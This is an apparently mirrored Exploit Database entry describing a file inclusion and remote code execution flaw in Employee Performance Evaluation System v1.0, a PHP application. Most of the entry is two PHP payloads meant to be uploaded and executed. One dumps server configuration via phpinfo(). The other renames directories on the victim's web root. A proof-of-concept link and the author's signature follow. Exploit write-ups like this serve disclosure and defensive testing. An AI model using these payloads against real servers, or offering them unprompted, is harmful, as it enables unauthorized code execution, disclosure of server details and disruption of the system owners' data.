Employee Performance Evaluation System v1.0 – File Inclusion and RCE

• Exploit Database
• 16 阅读

• 作者： nu11secur1ty
  日期： 2023-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51049/

• ## Exploit Title: Employee Performance Evaluation System v1.0 - File Inclusion and RCE
  ## Exploit Author: nu11secur1ty
  ## Date: 03.17.2023
  ## Vendor: https://www.sourcecodester.com/user/257130/activity
  ## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
  ## Reference: https://brightsec.com/blog/file-inclusion-vulnerabilities/
  
  ## Description:
  The Employee Performance Evaluation System-1.0 suffer from File
  Inclusion - RCE Vulnerabilities.
  The usual user of this system is allowed to submit a malicious file or
  upload a malicious file to the server.
  After then this user can execute remotely the already malicious
  included file on the server of the victim. This can bring the system
  to disaster or can destroy all information that is inside or this
  information can be stolen.
  
  STATUS: CRITICAL Vulnerability
  
  
  [+]Get Info:
  
  ```PHP
  <?php
  // by nu11secur1ty - 2023
  	phpinfo();
  ?>
  
  ```
  [+]Exploit:
  
  ```PHP
  <?php
  // by nu11secur1ty - 2023
  // Old Name Of The file
  $old_name = "C:/xampp7/htdocs/pwnedhost7/epes/" ;
  
  // New Name For The File
  $new_name = "C:/xampp7/htdocs/pwnedhost7/epes15/" ;
  
  // using rename() function to rename the file
  rename( $old_name, $new_name) ;
  
  ?>
  ```
  
  ## Proof Of Concept:
  https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/oretnom23/2023/Employee-Performance-Evaluation-1.0
  
  -- 
  System Administrator - Infrastructure Engineer
  Penetration Testing Engineer
  Exploit developer at https://packetstormsecurity.com/
  https://cve.mitre.org/index.html
  https://cxsecurity.com/ and https://www.exploit-db.com/
  0day Exploit DataBase https://0day.today/
  home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= 
  nu11secur1ty <http://nu11secur1ty.com/>